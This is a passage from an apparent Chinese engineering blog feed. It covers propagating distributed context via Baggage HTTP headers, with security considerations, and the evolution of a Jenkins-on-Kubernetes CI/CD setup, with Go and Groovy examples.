class="s">"user-agent"</span><span class="o">,</span> <span class="n">userAgent</span><span class="o">);</span> +</code></pre></div></div> + +<p>它的底层也非常简单,例如你远程调用的是 HTTP,那么它会在你调用任何 HTTP 请求的时候注入一个 HTTP Header:<code class="language-plaintext highlighter-rouge">Baggage-User-Agent: userAgent</code></p> + +<p>下游服务收到请求后,自动提取所有<code class="language-plaintext highlighter-rouge">Baggage-</code>开头的 HTTP Header 并放到内存中。</p> + +<p> </p> + +<h3 id="倔强的-elastic-apm">倔强的 Elastic APM</h3> + +<p>之前的文章提到过,我们把分布式追踪的框架改成了 Elastic APM:<a href="/2020/02/replace-istio-mixer.html">Service Mesh 实践(二):Istio Mixer 模块的性能问题与替代方案</a></p> + +<p>Elastic APM 并不仅仅做了一个分布式追踪,所以它并没有遵循 OpenTracing 标准。</p> + +<p>Elastic APM 应该是 OpenTracing 一个超集,它其实实现了一个 OpenTracing Bridge,想要迁移到 Elastic APM 可以直接把底层的框架替换掉,然后基于 OpenTracing 标准写代码。这并不是 Elastic APM 推荐的长期实现方案,因为这样会缺少部分功能。</p> + +<p>除此以外,我们发现这么做以后,OpenTracing 中的 Baggage 功能竟然失效了,看了源码才知道,Elastic APM 直接留了个空函数。</p> + +<p>经过询问后,我们才得知它们不想基于 OpenTracing 的标准做这个,以后要实现的话,也会基于 W3C 的标准做。</p> + +<ul> + <li><a href="https://discuss.elastic.co/t/any-plan-for-support-opentracing-baggage/182672">Any plan for support opentracing baggage?</a></li> + <li><a href="https://w3c.github.io/correlation-context/">Propagation format for distributed trace context: Trace Context headers</a></li> +</ul> + +<p>毕竟是半个竞争对手,不用对方的标准也可以理解。然而 W3C 的标准还在草案阶段,所以 Elastic APM 暂时并没有实现这个功能。</p> + +<p> </p> + +<h3 id="自研">自研</h3> + +<p>既然底层的原理都知道,也有两份开源作业摆在我们面前了,Elastic APM 暂时又不想实现,那么只能自己自研了。</p> + +<p>其实这块不难,主要就是如何在微服务之间传播,如何在程序内部传播,还有两者的衔接。相关技术细节都可以参考 Elastic APM 和 Jaeger,因为他们也做了类似的事情。</p> + +<p> </p> + +<h4 id="微服务之间传播">微服务之间传播</h4> + +<p>这块参考 OpenTracing 标准和 W3C 草案,他们本质上没有太大的区别,只是 HTTP Header 用的不同而已。</p> + +<p>因为我们已经有部分项目在用 OpenTracing 的 Baggage 功能了,所以为了少做改动,我们自研设计的协议也是同样的格式。</p> + +<p>最终格式类似这样:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">Baggage-User-Agent: Mozilla/5.0</code></li> + <li><code class="language-plaintext highlighter-rouge">Baggage-User-Id: d7af84f8-877c-414d-b008-e9d60a16ac61</code></li> + <li><code class="language-plaintext highlighter-rouge">Baggage-User-Role: leader</code></li> +</ul> + +<p> </p> + +<h4 id="内外衔接">内外衔接</h4> + +<p>作为一个 HTTP Server,怎么拿到这些 Header 并且透传呢?</p> + +<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="k">func</span><span class="p">(</span><span class="n">writer</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">request</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span> + <span class="n">userId</span> <span class="o">:=</span> <span class="n">request</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"Baggage-User-Id"</span><span class="p">)</span> + + <span class="n">req</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">NewRequest</span><span class="p">(</span><span class="s">"GET"</span><span class="p">,</span> <span class="s">"http://127.0.0.1:8888"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span> + <span class="n">req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Add</span><span class="p">(</span><span class="s">"Baggage-User-Id"</span><span class="p">,</span> <span class="n">userId</span><span class="p">)</span> + <span class="n">resp</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">DefaultClient</span><span class="o">.</span><span class="n">Do</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> +<span class="p">})</span> +<span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":8080"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span> +</code></pre></div></div> + +<p>不借助任何中间件的话,直接手写就行了,把上游的 Header 读出来,然后传播到下游。这里的代码只是一个演示,实际还要根据前缀匹配把所有<code class="language-plaintext highlighter-rouge">Baggage-</code>开头的都透传。</p> + +<p>这样的代码很明显不能让人接受。但幸运的是,大部分语言的大部分框架都可以很方便地实现自动透传。</p> + +<p>面向对象的语言自己实现一下对应的接口,然后包装一下即可。然后 Python 这样的动态语言直接替换对应的方法就行。</p> + +<p>用户用的时候,需要在程序中注册一下,例如 Golang 中 HTTP Server 和 HTTP Client 需要这样注册:</p> + +<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="n">cphttp</span> <span class="s">"github.com/AminoApps/context-propagation-go/module/context-propagation-http"</span> + +<span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":8080"</span><span class="p">,</span> <span class="n">cphttp</span><span class="o">.</span><span class="n">Wrap</span><span class="p">(</span><span class="n">myHandler</span><span class="p">))</span> +<span class="n">client</span> <span class="o">:=</span> <span class="n">cphttp</span><span class="o">.</span><span class="n">WrapClient</span><span class="p">(</span><span class="o">&amp;</span><span class="n">http</span><span class="o">.</span><span class="n">Client</span><span class="p">{})</span> +</code></pre></div></div> + +<p> </p> + +<h4 id="程序内部传播">程序内部传播</h4> + +<p>再看上面手写代码的例子:</p> + +<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="k">func</span><span class="p">(</span><span class="n">writer</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">request</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span> + <span class="n">userId</span> <span class="o">:=</span> <span class="n">request</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"Baggage-User-Id"</span><span class="p">)</span> + + <span class="n">req</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">NewRequest</span><span class="p">(</span><span class="s">"GET"</span><span class="p">,</span> <span class="s">"http://127.0.0.1:8888"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span> + <span class="n">req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Add</span><span class="p">(</span><span class="s">"Baggage-User-Id"</span><span class="p">,</span> <span class="n">userId</span><span class="p">)</span> + <span class="n">resp</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">DefaultClient</span><span class="o">.</span><span class="n">Do</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> +<span class="p">})</span> +<span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":8080"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span> +</code></pre></div></div> + +<p>从上游拿到<code class="language-plaintext highlighter-rouge">userId</code>后,如果马上就要调用下游服务,那么不用特殊的处理。</p> + +<p>但是如果调用下游调用别的 HTTP 服务的代码很深,你需要一个个手动往下传播吗?这其实就是最上面提到的问题,不同的语言用不同的处理方式。</p> + +<p>Golang 的传播过程就是这样的:</p> + +<ol> + <li>HTTP Server 从 Header 中提取 Baggage</li> + <li>存入 Context,后续调用传播 Context</li> + <li>调用下游 HTTP 服务的时候从 Context 中提取出 Baggage</li> + <li>将 Baggage 写入 Header</li> +</ol> + +<p>Java,Python 略有不同,主要区别就是不是通过 Context 传播了,直接放 Thread Local 就行了。</p> + +<p> </p> + +<h4 id="开源项目">开源项目</h4> + +<p>其中,Golang 和 Python 版本我们已经开源。</p> + +<p>Golang 版实现地最全面,支持了各种协议和框架:</p> + +<p><a href="https://github.com/AminoApps/context-propagation-go">Context Propagation Go</a></p> + +<ul> + <li>Gin</li> + <li>Standard Http Server</li> + <li>Standard Http Client</li> + <li>gRPC Server</li> + <li>gRPC Client</li> +</ul> + +<p> </p> + +<p>Python 我们内部用的不多,对常用的做了一下支持:</p> + +<p><a href="https://github.com/AminoApps/context-propagation-python">Context Propagation Python</a></p> + +<ul> + <li>flask</li> + <li>requests</li> +</ul> + +<p> </p> + +<p>Java 为什么不支持?</p> + +<p>传统的 Java 代码支持起来不难,利用 Thread Local 就行了。但微服务中的 Java HTTP Server 如果使用传统的并发模型,会很吃力。</p> + +<p>Java 本身也在做相关转型,Spring Webflux,Vert.x 或者是别的基于 Netty 的框架,并发模型变了以后同一个请求就不一定在同一个线程上处理了。</p> + +<p>而它们各自都有一套类似 Context 的解决方案。</p> + +<p>所以 Java 想要做的话,需要支持的东西太多了,暂时并没有一个合适的标准。</p> + +<p>而且我们内部 Java 不多,以后也不推荐用 Java,所以这项工作就暂缓执行了。</p> + +<p> </p> + +<h3 id="安全性">安全性</h3> + +<p>我们之前把用户认证放到了 API Gateway 中,可以看看这篇文章:</p> + +<p><a href="/2020/02/api-gateway.html">Service Mesh 实践(四):从开源 Ingress 到自研 API Gateway</a></p> + +<p>那么下游服务怎么知道这个调用链是哪个用户产生的呢?</p> + +<p>这里就需要用到分布式上下文了:</p> + +<ol> + <li>API Gateway 对 Session 信息解码</li> + <li>API Gateway 将 解码后的 User Id 通过 Baggage 透传</li> + <li>下游业务通过 Baggage 得到 User Id</li> +</ol> + +<p>有了上述中间件以后,只要调用链上的服务都整合了中间件,下游服务可以非常轻松地拿到 User Id 了。</p> + +<p>那这里就有两个问题了,如果用户熟悉我们内部系统的一些协议,直接通过外网传播 Baggage 进来怎么办?</p> + +<p>内部服务有人作恶,想办法伪造了 Baggage 怎么办?</p> + +<p> </p> + +<h4 id="防范公网请求">防范公网请求</h4> + +<p>对外防范是非常重要的,不能有一点漏洞。否则会对内部系统造成很大的影响。例如一个用户通过伪造 Baggage,完全可以模拟成另外一个用户。</p> + +<p>然而这块的解决方案也非常简单。</p> + +<p>对于分布式上下文来说,这本身就是一个内部系统之间的协议,也就是说所有外部请求过来的流量都不应该带有相关协议。</p> + +<p>所以我们在 API Gateway 这一层直接抛弃所有的分布式上下文相关信息就行了。这样用户也就无法从公网伪造任何数据了。</p> + +<p> </p> + +<h4 id="防范内网请求">防范内网请求</h4> + +<p>对内而言,其实如果真要防范是防不慎防的,内部员工有一万种方式攻破你的系统。目前我们服务间调用都没有相关认证,所以这里伪造 Baggage 并不是一个太大的问题。</p> + +<p>虽然没有去做,但也要想清楚以后如何去做。</p> + +<p>如何验证这个 Baggage 真的是某个人生成的呢?</p> + +<p>银行如何知道转账请求真的是你提交的呢?</p> + +<p>还记得银行的 U 盾吗?</p> + +<p>其实这里也可以用类似的数字签名的机制,API Gateway 不仅返回 Baggage,还要对 Baggage 内容利用私钥进行签名。</p> + +<p>使用这个 Baggage 的服务为了认证这个 Baggage 是不是 API Gateway 生成的,那么就需要利用公钥去验证。</p> + +<p>大致思路是这样的,但实际却还有很多问题,例如 API Gateway 如何把公钥安全地给别的服务?API Gateway 如何安全地存放私钥?别的服务也要生成 Baggage 并进行签名怎么办?</p> + +<p>这里环环相扣,想要完美解决就需要很多东西,并不是一个很容易解决的问题。</p> + + Tue, 17 Mar 2020 00:00:00 +0000 + /2020/03/distributed-context.html + /2020/03/distributed-context.html + + + + Service Mesh 实践(七):CI / CD 的变迁 + <h3 id="ci--cd-需要做成什么样">CI / CD 需要做成什么样</h3> + +<ul> + <li>CI:持续集成</li> + <li>CD:持续发布</li> +</ul> + +<p>CI / CD 是我们整个 Service Mesh 转型过程中最艰难的一个环节。</p> + +<p>为什么最艰难?</p> + +<p>CI / CD 本质上要解决的问题是:标准 + 自动化脚本 + 可视化 + 通知。</p> + +<p>不同的公司情况不同,标准也会不同,因为在没有经验的情况下,很难制定出合理的标准。</p> + +<p>没有标准也就不能有足够抽象好用的自动化脚本,为一个项目写一些脚本不难,写出抽象好用的脚本很难。</p> + +<p>可视化和通知优先考虑开源产品,这两块在两年前也没什么可选的。</p> + +<!--more--> + +<p> </p> + +<h3 id="第一版简单粗暴有效">第一版简单粗暴有效</h3> + +<p>遇到这种情况比较好的解决办法就是先做一个 MVP,让大家用起来,在使用的过程中自然会冒出大量的改进意见。</p> + +<p>两年前,我们公司的状况是几乎没有任何现成的 CI / CD,而且开发们用的开发语言很多。</p> + +<p>当时也没有什么可选的技术方案。</p> + +<p>最后只看到了一个 Jenkins Pipeline + Kubernetes Plugin 可以满足我们的需求。</p> + +<p>它的基本用法就是基于 Groovy 语言,配合各种插件,把整个 CI / CD 的过程用脚本写出来。</p> + +<p>关键的这份脚本叫<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>,大致是这样的:</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">def</span> <span class="n">registry</span> <span class="o">=</span> <span class="s2">"private-docker-repository-address"</span> +<span class="kt">def</span> <span class="n">namespace</span> <span class="o">=</span> <span class="s2">"default"</span> +<span class="kt">def</span> <span class="n">projectName</span> <span class="o">=</span> <span class="s2">"user-service"</span> +<span class="kt">def</span> <span class="n">imageName</span> <span class="o">=</span> <span class="s2">"user-service:latest"</span> + +<span class="n">podTemplate</span><span class="o">(</span><span class="nl">containers:</span> <span class="o">[</span> + <span class="n">containerTemplate</span><span class="o">(</span><span class="nl">name:</span> <span class="s1">'maven'</span><span class="o">,</span> <span class="nl">image:</span> <span class="s1">'maven'</span><span class="o">,</span> <span class="nl">command:</span> <span class="s1">'cat'</span><span class="o">,</span> <span class="nl">ttyEnabled:</span> <span class="kc">true</span><span class="o">),</span> + <span class="n">containerTemplate</span><span class="o">(</span><span class="nl">name:</span> <span class="s1">'docker'</span><span class="o">,</span> <span class="nl">image:</span> <span class="s1">'docker'</span><span class="o">,</span> <span class="nl">command:</span> <span class="s1">'cat'</span><span class="o">,</span> <span class="nl">ttyEnabled:</span> <span class="kc">true</span><span class="o">),</span> + <span class="n">containerTemplate</span><span class="o">(</span><span class="nl">name:</span> <span class="s1">'helm'</span><span class="o">,</span> <span class="nl">image:</span> <span class="s1">'alpine/helm'</span><span class="o">,</span> <span class="nl">command:</span> <span class="s1">'cat'</span><span class="o">,</span> <span class="nl">ttyEnabled:</span> <span class="kc">true</span><span class="o">)</span> +<span class="o">],</span> +<span class="nl">volumes:</span> <span class="o">[</span> + <span class="n">hostPathVolume</span><span class="o">(</span><span class="nl">mountPath:</span> <span class="s1">'/var/run/docker.sock'</span><span class="o">,</span> <span class="nl">hostPath:</span> <span class="s1">'/var/run/docker.sock'</span><span class="o">)</span> +<span class="o">])</span> <span class="o">{</span> + <span class="n">node</span><span class="o">(</span><span class="n">POD_LABEL</span><span class="o">)</span> <span class="o">{</span> + <span class="n">checkout</span> <span class="n">scm</span> + + <span class="nf">stage</span><span class="o">(</span><span class="s1">'Test &amp; Build Jar'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'maven'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">sh</span> <span class="s2">"mvn clean install"</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="n">stage</span><span class="o">(</span><span class="s1">'Build Docker'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'docker'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">docker</span><span class="o">.</span><span class="na">build</span><span class="o">(</span><span class="n">imageName</span><span class="o">)</span> + <span class="n">docker</span><span class="o">.</span><span class="na">withRegistry</span><span class="o">(</span><span class="n">registry</span><span class="o">)</span> <span class="o">{</span> + <span class="n">docker</span><span class="o">.</span><span class="na">image</span><span class="o">(</span><span class="n">imageName</span><span class="o">).</span><span class="na">push</span><span class="o">()</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="n">stage</span><span class="o">(</span><span class="s1">'Deploy'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'helm'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">sh</span> <span class="s2">"""helm upgrade ${projectName} ./charts/${projectName} -i --namespace ${namespace} \ + --set image=${registry}/${imageName} \ + --set resources.limits.cpu=2 \ + --set resources.limits.memory=1Gi \ + --set resources.requests.cpu=1 \ + --set resources.requests.memory=1Gi \ + --debug"""</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>它的大致运行过程是 Jenkins 会读取你这份<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>文件,根据你声明的容器组装成一个<code class="language-plaintext highlighter-rouge">Pod</code>,然后在 Kubernetes 集群里运行。</p> + +<p><code class="language-plaintext highlighter-rouge">Jenkinsfile</code>写好后,在 Jenkins 里创建一个 Pipeline 项目就行了。</p> + +<p><img src="/uploads/2020/03/jenkins-create.png" alt="Jenkins Create" /></p> + +<p>大致的项目结构也很简单:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">.</span> +├── Dockerfile +├── Jenkinsfile +├── charts +│   └── user-service/ +└── src/ +</code></pre></div></div> + +<p>这个方案的最大优点是什么?自由,灵活。</p> + +<p>开发可以自由定制自己的 CI / CD 过程,我们不需要任何标准,无论是什么语言,是新项目还是老项目,大家都可以定制化自己的脚本。</p> + +<p>有点像那个迪斯尼小路的故事,在地上种上草任由游客踩踏,最后出来的路就是最佳路径。嗯,有点心灵鸡汤的味道。</p> + +<p> </p> + +<h3 id="第一版中遇到的问题">第一版中遇到的问题</h3> + +<p>第一版简单粗暴,期间也遇到了不少小问题,这里可以说说解决方案。</p> + +<p> </p> + +<h4 id="docker-in-docker">Docker in Docker</h4> + +<p>我们的 Jenkins 运行在 Kubernetes 中,也就是说我们的 Jenkins 运行在 Docker 中。然后我们的 Jenkins 又要跑<code class="language-plaintext highlighter-rouge">docker build</code>,那这里就会遇到很经典的 Docker in Docker 的问题。</p> + +<p>查了一些资料后,你会发现实现 Docker in Docker 并不是一个合适的方案,而且我们的问题并不是真正的 Docker in Docker 问题。</p> + +<p><a href="https://zhuanlan.zhihu.com/p/27208085">使用 Docker-in-Docker 来运行 CI 或集成测试环境?三思!</a></p> + +<p>我们想要做的只是在一个 Docker 容器里去构建一个镜像,我们并不是想要在这个容器里再跑一个容器,这两个有本质的区别。</p> + +<p>如果只是想要构建一个镜像,那么能否让宿主机的 Docker 来做呢?答案是可行的!Docker 是 Client/Server 模式,并且通过 Unix Socket 通讯。</p> + +<p>看我们上面的<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>里有一行配置:</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hostPathVolume</span><span class="o">(</span><span class="nl">mountPath:</span> <span class="s1">'/var/run/docker.sock'</span><span class="o">,</span> <span class="nl">hostPath:</span> <span class="s1">'/var/run/docker.sock'</span><span class="o">)</span> +</code></pre></div></div> + +<p>这行配置的作用就是把宿主机的 Docker Unix Socket 映射到容器内,这样容器内的 Docker 就可以直接和宿主机的 Docker Daemon 通讯了。</p> + +<p> </p> + +<h4 id="隔离">隔离</h4> + +<p>因为 Jenkins 里的跑的 Job 可以直接操作宿主机 Docker 了,而且 Jenkins 在构建的时候消耗的资源也不少,所以把 Jenkins 独立部署在一组机器上会更安全。</p> + +<p>这里很明显就要用到 Kubernetes 的<a href="https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/">污点和容忍性</a>和<a href="https://kubernetes.io/docs/concepts/configuration/assign-pod-node/"><code class="language-plaintext highlighter-rouge">Pod</code>节点分配</a>功能了。</p> + +<p>首先给 Jenkins 相关的<code class="language-plaintext highlighter-rouge">Pod</code>配置节点分配,让它只跑在特定的一组机器上。但这时候别的<code class="language-plaintext highlighter-rouge">Pod</code>也会过来运行。</p> + +<p>所以还需要给这组机器打上污点(<code class="language-plaintext highlighter-rouge">Taints</code>),一般的<code class="language-plaintext highlighter-rouge">Pod</code>都有洁癖,无法忍受这个污点,这样就不会在这台机器上跑了。</p> + +<p>接下来再在 Jenkins 相关的<code class="language-plaintext highlighter-rouge">Pod</code>上配置容忍性,代表着它们可以容忍这个污点。</p> + +<p>最终的效果就是只有 Jenkins 相关的 Job 可以跑在这批机器上了。</p> + +<p>具体的配置方法是打开 Jenkins 配置界面: <code class="language-plaintext highlighter-rouge">/configure</code></p> + +<p>先配置一个 Jenkins Kubernetes 模版,并把它设置成默认模版,默认安装完应该就会有一个模版:</p> + +<p><img src="/uploads/2020/03/jenkins-pod-template.png" alt="Jenkins Pod Template" /></p> + +<p>然后再给这个模版配置容忍性:</p> + +<p><img src="/uploads/2020/03/jenkins-pod-template-yaml.png" alt="Jenkins Pod Template Yaml" /></p> + +<p>除此以外,这里的默认模版其实还可以做很多事情,例如上面解决 Docker in Docker 的时候手动在<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>里写了<code class="language-plaintext highlighter-rouge">hostPathVolume</code>,其实这个可以写在模版里,所有任务就可以通用了。</p> + +<p> </p> + +<h4 id="light-merge">Light Merge</h4> + +<p>一些稍微大一点的项目就会有很多人一起开发,大家都在不同的分支上,但是发布的时候希望临时把这些合并一下。</p> + +<p>因为 CI / CD 脚本都是自己把控的,无非就是自己实现一些脚本可以。如果有这种需求的话只需要修改一下脚本就行了。</p> + +<p>利用 Jenkins Pipeline 相关插件可以很轻松的实现:</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sshagent</span> <span class="o">{</span> + <span class="n">sh</span> <span class="s1">'git config --global user.email "devops@dozer.cc"'</span> + <span class="n">sh</span> <span class="s1">'git config --global user.name "devops"'</span> + <span class="n">sh</span> <span class="s1">'git merge origin/feature/test'</span> +<span class="o">}</span> +</code></pre></div></div> + +<p> </p> + +<h3 id="从实践中总结">从实践中总结</h3> + +<p>迪斯尼的小路走出来了,如果继续放任不管,最终所有路面都会被踩秃,所以及时根据反馈铺上正经的道路很重要。</p> + +<p>经过一段时间的实践后和思考后,我们觉得下面还需要做这么几件事情:</p> + +<ol> + <li>制定标准,包括项目结构,整体流程等</li> + <li>重写可以通用的自动化脚本,提高开发的开发效率,也便于全局更新自动化脚本</li> + <li>更强大的发布控制</li> +</ol> + +<p> </p> + +<h3 id="制定标准">制定标准</h3> + +<p>我们基于各种实践和探索,在制定标准的过程中主要参考了如下几个原则:</p> + +<ul> + <li>和开源社区接轨</li> + <li>约定约于配置,减少开发的配置工作量</li> + <li>足够灵活,除了默认配置外允许定制化</li> + <li>参考 GitOps 的理念,一切配置和项目放在一起</li> +</ul> + +<p> </p> + +<h4 id="明确-ci-流程">明确 CI 流程</h4> + +<p>第一步要先明确一下适合我们公司的发布流程,每个公司情况都不一样,要根据自身情况来决定。</p> + +<p>我们 CI 目前大致分为这几个步骤:</p> + +<ol> + <li>Git Push 触发</li> + <li>Light Merge</li> + <li>更新 Git 子模块</li> + <li>测试,编译,打包等(不同语言步骤不同)</li> + <li>构建 Docker 镜像</li> + <li>发布 Docker 镜像</li> + <li>构建 Helm Charts</li> + <li>发布 Helm Charts</li> + <li>通知 CD 系统</li> +</ol> + +<p> </p> + +<h4 id="明确-cd-流程">明确 CD 流程</h4> + +<p>CD 流程不多,但做起来却比 CI 难做,我们主要分为这几个步骤:</p> + +<ol> + <li>CI 触发</li> + <li>支持手动修改发布参数</li> + <li>手动发布</li> + <li>支持发布过程中自动金丝雀发布</li> + <li>支持手动回滚</li> +</ol> + +<p> </p> + +<h4 id="统一项目结构">统一项目结构</h4> + +<p>基于上面的 CI / CD 流程,有很多信息需要告诉对应的工具,那怎么做呢?</p> + +<p>这时候就要用到上述提到的几个原则了,例如构建 Docker 镜像用的<code class="language-plaintext highlighter-rouge">Dockerfile</code>,一般都是直接放在根目录的;<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>也是如此;Helm Chart 一般放在<code class="language-plaintext highlighter-rouge">./charts/project-name</code>里。</p> + +<p>先参考开源社区的最佳实践,然后再制定我们内部的约定:</p> + +<ul> + <li>项目名称就是 Git 代码仓库的名称</li> + <li>Light Merge 自动合并所有 Pull Request 对应的分支</li> + <li>Docker 镜像名称就是项目名</li> + <li>Docker Image Tag 格式:<code class="language-plaintext highlighter-rouge">{yyyyMMddhhmm}.{short reversion}</code></li> + <li>Helm Chart 名称就是项目名</li> + <li>Helm Chart 版本:<code class="language-plaintext highlighter-rouge">{chart version}+{image tag}</code></li> + <li>部署出来的服务名就是项目名</li> +</ul> + +<p>这些约定大多数没什么可说的,但 Light Merge 值得说一下。</p> + +<p>最早之前,我们的 Light Merge 都是写死在各自的脚本里的,如果以后把自动化脚本抽象后,如何才能知道哪些分支要做 Light Merge 呢?</p> + +<p>一种方案是根据名字来,因为设计良好的分支模型各个分支的合并方向是固定的。在测试环境,一般就是把所有的<code class="language-plaintext highlighter-rouge">feature/*</code>和<code class="language-plaintext highlighter-rouge">hotfix/*</code>合并到测试分支就行了。</p> + +<p>但是有些<code class="language-plaintext highlighter-rouge">feature/*</code>分支还在开发中,不想在测试环境发布怎么办?</p> + +<p>后来我们想到了是否可以利用 Pull Request 来做。因为 Pull Request 是一个代表想要合并的意图,Pull Request 也是把代码提交到测试分支的必经之路,有了 Pull Request 也可以告诉对应人员需要做代码审查了。</p> + +<p>所以 Pull Request 和 Light Merge 的出现时机是完全一致的。</p> + +<p> </p> + +<h3 id="统一自动化脚本">统一自动化脚本</h3> + +<p>有了各种标准,那么下一步要做的就是统一自动化脚本了。 之前我们自动化脚本的最大问题就是大部分逻辑都是可以公用的,但是却在每个项目里保留了一份。</p> + +<p>一开始我们提供了一份模板给大家“抄”,但这个模版也在不断更新,很难去推动大家修改自己的模版。</p> + +<p>所以如果还是基于 Jenkins 的话如何才能尽量复用代码呢?</p> + +<p>后来我们发现,在 Jenkins Pod Template 的配置里,还可以指定默认的容器。上面<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>的例子里用了<code class="language-plaintext highlighter-rouge">maven</code>,<code class="language-plaintext highlighter-rouge">docker</code>,<code class="language-plaintext highlighter-rouge">helm</code>三个容器做不同的事情,但这几个都是非常基础的容器,开发还需要额外写不少代码。</p> + +<p>那我们是不是可以自己做一个 CI 镜像,然后把所有 CI 的功能集成在里面呢?</p> + +<p>答案是肯定的,经过简化后,<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>可以做到非常简化,而且又不失灵活性:</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">podTemplate</span><span class="o">(</span> + <span class="nl">containers:</span> <span class="o">[</span> + <span class="n">containerTemplate</span><span class="o">(</span><span class="nl">name:</span> <span class="s1">'go'</span><span class="o">,</span> <span class="nl">image:</span> <span class="s1">'golang:latest'</span><span class="o">,</span> <span class="nl">ttyEnabled:</span> <span class="kc">true</span><span class="o">,</span> <span class="nl">command:</span> <span class="s1">'cat'</span><span class="o">)</span> + <span class="o">]</span> +<span class="o">)</span> <span class="o">{</span> + <span class="n">node</span><span class="o">(</span><span class="n">POD_LABEL</span><span class="o">)</span> <span class="o">{</span> + <span class="n">checkout</span> <span class="n">scm</span> + <span class="nf">stage</span><span class="o">(</span><span class="s1">'Before Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span><span class="n">sh</span> <span class="s2">"before_build"</span><span class="o">}}</span> + <span class="n">stage</span><span class="o">(</span><span class="s1">'Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'go'</span><span class="o">)</span> <span class="o">{</span><span class="n">sh</span> <span class="s2">"make test &amp;&amp; make linux"</span><span class="o">}}</span> + <span class="n">stage</span><span class="o">(</span><span class="s1">'After Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span> <span class="n">sh</span> <span class="s2">"after_build"</span> <span class="o">}}</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>其中,<code class="language-plaintext highlighter-rouge">before_build</code>会完成 CI 流程里的 2~3,<code class="language-plaintext highlighter-rouge">after_build</code>会完成 CI 流程里的 5~9。</p> + +<p>需要更新 CI 自动化脚本的时候只要更新这个 CI 镜像就行了,开发不需要做任何改动。</p> + +<p> </p> + +<h3 id="灵活性">灵活性</h3> + +<p>自动化脚本之所以可以这么简单,是因为有了大量的约定而无法大量的配置。但只要配置是可修改的,那么灵活性同样也可以保证。</p> + +<p>例如有些项目它同一份代码可能要部署成不同的项目,那么项目名等于 Git 代码仓库名这个约定就失效了。</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">podTemplate</span><span class="o">(</span> + <span class="nl">containers:</span> <span class="o">[</span> + <span class="n">containerTemplate</span><span class="o">(</span><span class="nl">name:</span> <span class="s1">'go'</span><span class="o">,</span> <span class="nl">image:</span> <span class="s1">'golang:latest'</span><span class="o">,</span> <span class="nl">ttyEnabled:</span> <span class="kc">true</span><span class="o">,</span> <span class="nl">command:</span> <span class="s1">'cat'</span><span class="o">)</span> + <span 